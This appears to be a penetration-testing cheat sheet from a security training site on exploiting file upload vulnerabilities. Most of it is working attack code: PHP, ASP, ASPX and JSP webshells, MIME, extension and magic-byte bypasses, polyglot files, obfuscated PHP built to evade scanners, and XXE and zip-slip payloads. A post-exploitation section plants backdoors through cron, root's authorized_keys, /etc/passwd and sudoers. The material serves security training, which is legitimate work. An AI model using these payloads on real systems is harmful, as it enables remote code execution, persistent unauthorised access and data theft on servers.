Skip to main content

Want to Practice These Techniques?

Try Hackviser's interactive cyber security upskilling platform - Learn by doing!

Start Practicing Now

File Upload Vulnerabilities

File Upload Vulnerabilities occur when a web application allows users to upload files without properly validating them. Attackers can exploit this to upload malicious files that can lead to remote code execution, defacement, or server compromise.

How It Works

File upload vulnerabilities arise when applications fail to properly validate uploaded files. For example, if a profile picture upload feature doesn't check file types:

<?php
move_uploaded_file($_FILES['file']['tmp_name'], 'uploads/' . $_FILES['file']['name']);
?>

An attacker could upload a PHP webshell instead of an image:

<?php system($_GET['cmd']); ?>

Once uploaded, accessing uploads/shell.php?cmd=whoami would execute system commands.

Detection

Manual Testing

Basic Upload Tests

Testing file upload functionality with various file types:

# Step 1: Identify upload endpoints
# Look for forms with file input
<input type="file" name="avatar">
<input type="file" name="document">

# Step 2: Test with legitimate files
upload: image.jpg # Should succeed
upload: document.pdf # Check if allowed
upload: video.mp4 # Test different types

# Step 3: Test with malicious extensions
upload: shell.php # Direct PHP file
upload: shell.phtml # Alternative PHP extension
upload: shell.php3 # Legacy PHP extension
upload: shell.php4 # Older PHP version
upload: shell.php5 # PHP 5 extension
upload: shell.phps # PHP source file
upload: shell.pht # PHP template
upload: shell.phar # PHP archive

# Step 4: Observe responses
# - File uploaded successfully: Vulnerable
# - Extension blocked: Try bypass techniques
# - Content-type validation: Try MIME bypass

Content-Type Tests

Testing MIME type validation:

# Original image upload
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="image.jpg"
Content-Type: image/jpeg

[JPEG data]
------WebKitFormBoundary--

# Modified to upload PHP with image MIME
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg

<?php system($_GET['cmd']); ?>
------WebKitFormBoundary--

Magic Bytes Tests

Testing file signature validation:

# Step 1: Create file with valid magic bytes
# PNG magic bytes: 89 50 4E 47 0D 0A 1A 0A
echo -e "\x89\x50\x4E\x47\x0D\x0A\x1A\x0A<?php system(\$_GET['cmd']); ?>" > shell.php

# Step 2: JPEG magic bytes: FF D8 FF
echo -e "\xFF\xD8\xFF<?php system(\$_GET['cmd']); ?>" > shell.php

# Step 3: GIF magic bytes: 47 49 46 38 39 61
echo "GIF89a<?php system(\$_GET['cmd']); ?>" > shell.php

# Step 4: Upload and verify
# File should pass magic byte validation
# Check if code still executes

Path Traversal Tests

Testing directory traversal in file uploads:

# Step 1: Test with relative paths
filename: ../shell.php # One directory up
filename: ../../shell.php # Two directories up
filename: ../../../var/www/shell.php # Absolute path traversal

# Step 2: Test with encoded paths
filename: ..%2fshell.php # URL encoded
filename: ..%252fshell.php # Double URL encoded
filename: ..%c0%afshell.php # Unicode encoded

# Step 3: Test with null bytes (older systems)
filename: shell.php%00.jpg # Null byte injection
filename: shell.php\x00.jpg # Hex null byte

# Step 4: Check upload destination
# Verify if file escaped upload directory

Double Extension Tests

Testing extension validation logic:

# Basic double extensions
shell.php.jpg # PHP may execute first
shell.jpg.php # Extension at end
shell.php.png # Image extension after PHP

# Multiple extensions
shell.php.test.jpg # Multiple dots
shell.php..jpg # Double dot
shell.php...jpg # Triple dot

# Case manipulation
shell.PHP # Uppercase
shell.pHp # Mixed case
shell.PhP # Alternative case

Polyglot File Tests

Creating files that are valid in multiple formats:

# Step 1: Create PHP/Image polyglot
# Start with valid image header
cp valid_image.jpg polyglot.php.jpg

# Step 2: Append PHP code to image
echo '<?php system($_GET["cmd"]); ?>' >> polyglot.php.jpg

# Step 3: Use exiftool to embed PHP in metadata
exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg -o polyglot.jpg

# Step 4: Upload polyglot file
# File passes image validation
# PHP code may execute depending on server config

Automated Discovery

Using Burp Suite Intruder

# Step 1: Capture upload request in Burp
# Send to Intruder (Ctrl+I)

# Step 2: Mark filename as payload position
filename="§test.jpg§"

# Step 3: Load extension wordlist
test.php
test.php3
test.php4
test.php5
test.phtml
test.asp
test.aspx
test.jsp
test.jspx

# Step 4: Analyze responses
# Different status codes or lengths indicate success
# Follow up manually on successful uploads

Using Nuclei

# Run file upload vulnerability templates
nuclei -u https://target.com -t file/

# Specific file upload checks
nuclei -u https://target.com -t file/upload-bypass.yaml

# With severity filtering
nuclei -u https://target.com -t file/ -severity critical,high

Using Custom Scripts

# Python script for upload testing
import requests

url = "https://target.com/upload"
payloads = [
("shell.php", "<?php system($_GET['cmd']); ?>", "application/x-php"),
("shell.phtml", "<?php system($_GET['cmd']); ?>", "application/x-php"),
("shell.php.jpg", "<?php system($_GET['cmd']); ?>", "image/jpeg"),
("shell.jpg.php", "<?php system($_GET['cmd']); ?>", "image/jpeg"),
]

for filename, content, mime in payloads:
files = {
'file': (filename, content, mime)
}
response = requests.post(url, files=files)

if response.status_code == 200:
print(f"[+] Successfully uploaded: {filename}")
print(f" Location: {response.text}")
else:
print(f"[-] Failed to upload: {filename}")

Attack Vectors

Remote Code Execution

Basic webshell uploads for code execution:

# Simple PHP webshell
<?php system($_GET['cmd']); ?>

# More feature-rich webshell
<?php
if(isset($_REQUEST['cmd'])){
echo "<pre>";
$cmd = ($_REQUEST['cmd']);
system($cmd);
echo "</pre>";
die;
}
?>

# PHP info shell (for reconnaissance)
<?php phpinfo(); ?>

# File upload shell
<?php
if(isset($_FILES['f'])){
move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']);
echo "Uploaded: " . $_FILES['f']['name'];
}
?>
<form method="POST" enctype="multipart/form-data">
<input type="file" name="f">
<input type="submit" value="Upload">
</form>

ASP/ASPX Shells

For Windows IIS servers:

# ASP Classic webshell
<%
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
Function getCommandOutput(theCommand)
Dim objShell, objCmdExec
Set objShell = CreateObject("WScript.Shell")
Set objCmdExec = objshell.exec(thecommand)
getCommandOutput = objCmdExec.StdOut.ReadAll
end Function
%>
<%= getCommandOutput(Request.QueryString("cmd")) %>

# ASP.NET webshell
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<script runat="server">
void Page_Load(object sender, EventArgs e){
ProcessStartInfo psi = new ProcessStartInfo();
psi.FileName = "cmd.exe";
psi.Arguments = "/c " + Request.QueryString["cmd"];
psi.RedirectStandardOutput = true;
psi.UseShellExecute = false;
Process p = Process.Start(psi);
StreamReader stmrdr = p.StandardOutput;
string s = stmrdr.ReadToEnd();
stmrdr.Close();
Response.Write("<pre>" + s + "</pre>");
}
</script>

JSP Shells

For Java application servers:

# Simple JSP webshell
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
Process p = Runtime.getRuntime().exec(cmd);
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while (disr != null) {
out.println(disr);
disr = dis.readLine();
}
%>

# JSP file browser
<%@ page import="java.io.File" %>
<%
String path = request.getParameter("path");
File f = new File(path);
File[] files = f.listFiles();
for(File file : files){
out.println(file.getName() + "<br>");
}
%>

Image-Based Shells

Hiding code in images:

# Method 1: Using exiftool
exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg

# Method 2: Appending to image
cat image.jpg shell.php > polyglot.php.jpg

# Method 3: Embedding in PNG metadata
convert image.png -set comment '<?php system($_GET["cmd"]); ?>' output.php.png

# Method 4: GIF with PHP code
echo 'GIF89a<?php system($_GET["cmd"]); ?>' > shell.php

ZIP-Based Attacks

Exploiting archive extraction:

# Create malicious ZIP with path traversal
zip malicious.zip ../../../var/www/html/shell.php

# ZIP slip vulnerability
# Create file with traversal in name
echo '<?php system($_GET["cmd"]); ?>' > 'shell.php'
zip -r upload.zip ../../../../var/www/shell.php

# Double ZIP technique
zip inner.zip shell.php
zip outer.zip inner.zip
# If app extracts twice, shell.php appears

XXE via File Upload

XML-based file uploads exploiting XXE:

# SVG file with XXE
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg width="500" height="500" xmlns="http://www.w3.org/2000/svg">
<text x="0" y="16">&xxe;</text>
</svg>

# DOCX with XXE (unzip and modify document.xml)
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<w:document>
<w:body>
<w:p>
<w:r>
<w:t>&xxe;</w:t>
</w:r>
</w:p>
</w:body>
</w:document>

Bypass Techniques

Extension Blacklist Bypass

Bypassing extension-based filters:

# Case manipulation
shell.PHP # Uppercase
shell.PhP # Mixed case
shell.pHP # Alternative mixed

# Rare but valid extensions
shell.php3 # PHP 3
shell.php4 # PHP 4
shell.php5 # PHP 5
shell.php7 # PHP 7
shell.phtml # PHP HTML
shell.pht # PHP Template
shell.phps # PHP Source
shell.phar # PHP Archive
shell.pgif # PHP GIF
shell.inc # Include file (may execute as PHP)

# Double extensions
shell.php.jpg # May execute as PHP
shell.jpg.php # PHP at end
shell.php.png # Image extension last

# Null byte injection (old systems)
shell.php%00.jpg # Null terminates string
shell.php\x00.jpg # Hex null byte

# Special characters
shell.php::$DATA # NTFS Alternate Data Stream
shell.php . # Trailing dot (Windows)
shell.php<space> # Trailing space (Windows)

# Multiple dots
shell.php..jpg # Double dot
shell.php...jpg # Multiple dots
shell..php # Dot before extension

MIME Type Bypass

Bypassing content-type validation:

# Upload PHP shell with image MIME type
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----Boundary

------Boundary
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg

<?php system($_GET['cmd']); ?>
------Boundary--

# Try multiple MIME types
Content-Type: image/png
Content-Type: image/gif
Content-Type: image/bmp
Content-Type: application/octet-stream
Content-Type: text/plain

# MIME confusion
Content-Type: image/jpeg; charset=utf-8
Content-Type: image/jpeg; boundary=something

Magic Bytes Bypass

Adding valid file signatures:

# PNG magic bytes + PHP code
echo -e '\x89\x50\x4E\x47\x0D\x0A\x1A\x0A<?php system($_GET["cmd"]); ?>' > shell.php

# JPEG magic bytes + PHP code
printf '\xFF\xD8\xFF\xE0<?php system($_GET["cmd"]); ?>' > shell.php

# GIF magic bytes + PHP code
echo 'GIF89a<?php system($_GET["cmd"]); ?>' > shell.php

# PDF magic bytes + PHP code
echo '%PDF-1.5<?php system($_GET["cmd"]); ?>' > shell.php

# ZIP magic bytes
printf '\x50\x4B\x03\x04<?php system($_GET["cmd"]); ?>' > shell.php

Filename Obfuscation

Manipulating filenames to bypass filters:

# Unicode characters
shell․php # Using unicode dot (U+2024)
shell․php # Using middle dot (U+00B7)
shell‿php # Using undertie (U+203F)

# Right-to-Left Override (RTLO)
shell.php[U+202E]gpj.php # Displays as shell.phpphp.jpg

# URL encoding in filename
shell%2Ephp # Encoded dot
shell%00.jpg # Null byte

# Special Windows characters
shell.php. # Trailing dot
shell.php<space> # Trailing space
shell.php::$DATA # NTFS ADS

# Long filename truncation
shell.php + "A" * 1000 + ".jpg
# May truncate to shell.php on storage

Content Filter Bypass

Bypassing content scanning:

# Obfuscated PHP code
<?=`$_GET[0]`?> # Short tags with backticks
<?php $a=$_GET;$b=$a['cmd'];system($b);?> # Variable indirection

# Base64 encoding
<?php eval(base64_decode('c3lzdGVtKCRfR0VUWydjbWQnXSk7')); ?>

# String concatenation
<?php $f='sy'.'stem';$f($_GET['cmd']); ?>

# Hex encoding
<?php $a="\x73\x79\x73\x74\x65\x6d";$a($_GET['cmd']); ?>

# Variable functions
<?php ${'_'.$_}['_']($_{'_'.$_}['__']);?> # With ?_=GET&__=cmd pass cmd

# Assert (PHP < 7.2)
<?php assert($_GET['cmd']); ?>

# Create function
<?php $f=create_function('$c','return system($c);');$f($_GET['cmd']); ?>

Archive Extraction Bypass

Exploiting archive handling:

# Path traversal in archive
zip malicious.zip ../../../../var/www/html/shell.php

# Symlink exploitation
ln -s /var/www/html/config.php link
zip --symlinks malicious.zip link
# Upload and extract to read config

# Zip bomb (DoS)
# Create highly compressed archive
dd if=/dev/zero bs=1M count=1000 | zip -9 bomb.zip -

# TAR traversal
tar -cvf malicious.tar --transform='s/shell.php/..\/..\/..\/shell.php/' shell.php

Metadata Exploitation

Using file metadata to inject code:

# EXIF data injection
exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg -o shell.php.jpg

# PNG text chunk
echo '<?php system($_GET["cmd"]); ?>' > payload.txt
pngcrush -text b "Comment" "$(cat payload.txt)" input.png output.png

# SVG script injection
<svg xmlns="http://www.w3.org/2000/svg">
<script>
<![CDATA[
<?php system($_GET['cmd']); ?>
]]>
</script>
</svg>

# MP3 ID3 tags
eyeD3 --add-comment="eng:Comment:<?php system(\$_GET['cmd']); ?>" file.mp3

Polyglot Files

Creating valid multi-format files:

# GIF/PHP polyglot
echo 'GIF89a<?php system($_GET["cmd"]); __halt_compiler();?>' > poly.php

# JPEG/PHP polyglot
printf '\xFF\xD8\xFF\xE0\x00\x10JFIF\x00<?php system($_GET["cmd"]); ?>' > poly.php

# PDF/PHP polyglot
echo '%PDF-1.5
%<?php system($_GET["cmd"]); ?>
%%EOF' > poly.php

# ZIP/PHP polyglot (JAR files)
echo '<?php system($_GET["cmd"]); __HALT_COMPILER(); ?>' > stub.php
cat stub.php archive.zip > polyglot.php

Post-Exploitation

Finding Uploaded Files

Locating uploaded files on the server:

# Common upload directories
/uploads/
/upload/
/files/
/media/
/static/
/assets/
/public/
/documents/
/images/
/avatars/
/tmp/
/temp/

# Fuzzing for upload directory
ffuf -u https://target.com/FUZZ/shell.php -w directories.txt

# Check response headers
# Look for Location header after upload
# Check HTML for image/file paths

Establishing Persistence

Creating persistent access:

# Backdoor in uploaded file
<?php
// Main functionality
if(isset($_GET['cmd'])){
system($_GET['cmd']);
}

// Auto-replicate to another location
copy(__FILE__, '/var/www/html/.config.php');
?>

# Cron job creation
<?php
file_put_contents('/etc/cron.d/backdoor', "* * * * * root /usr/bin/php /tmp/shell.php\n");
?>

# Adding SSH key
<?php
$key = "ssh-rsa AAAAB3...";
file_put_contents('/root/.ssh/authorized_keys', $key, FILE_APPEND);
?>

Privilege Escalation

Leveraging upload for privilege escalation:

# Writing to sensitive files
<?php
// Add new admin user
$user = "hacker:x:0:0:Hacker:/root:/bin/bash";
file_put_contents('/etc/passwd', $user, FILE_APPEND);
?>

# Modifying sudoers
<?php
file_put_contents('/etc/sudoers', "www-data ALL=(ALL) NOPASSWD: ALL\n", FILE_APPEND);
?>

# Creating SUID binary
<?php
copy('/bin/bash', '/tmp/rootbash');
chmod('/tmp/rootbash', 04755);
?>

Data Exfiltration

Using upload functionality to extract data:

# Database dump
<?php
$db = new mysqli('localhost', 'user', 'pass', 'db');
$result = $db->query('SELECT * FROM users');
file_put_contents('/tmp/dump.txt', var_export($result->fetch_all(), true));
?>

# File reading
<?php
if(isset($_GET['file'])){
echo file_get_contents($_GET['file']);
}
?>

# Directory listing
<?php
function listDir($dir){
$files = scandir($dir);
foreach($files as $file){
echo $file . "\n";
}
}
listDir('/var/www/');
?>

Common Tools

ToolDescriptionPrimary Use Case
Burp SuiteWeb vulnerability scannerUpload testing and bypass
fuxploiderFile upload fuzzerAutomated upload testing
NucleiVulnerability scannerUpload vulnerability detection
Upload ScannerBurp extensionFile upload testing
WeevelyPHP webshellPost-exploitation
msfvenomPayload generatorCreating malicious files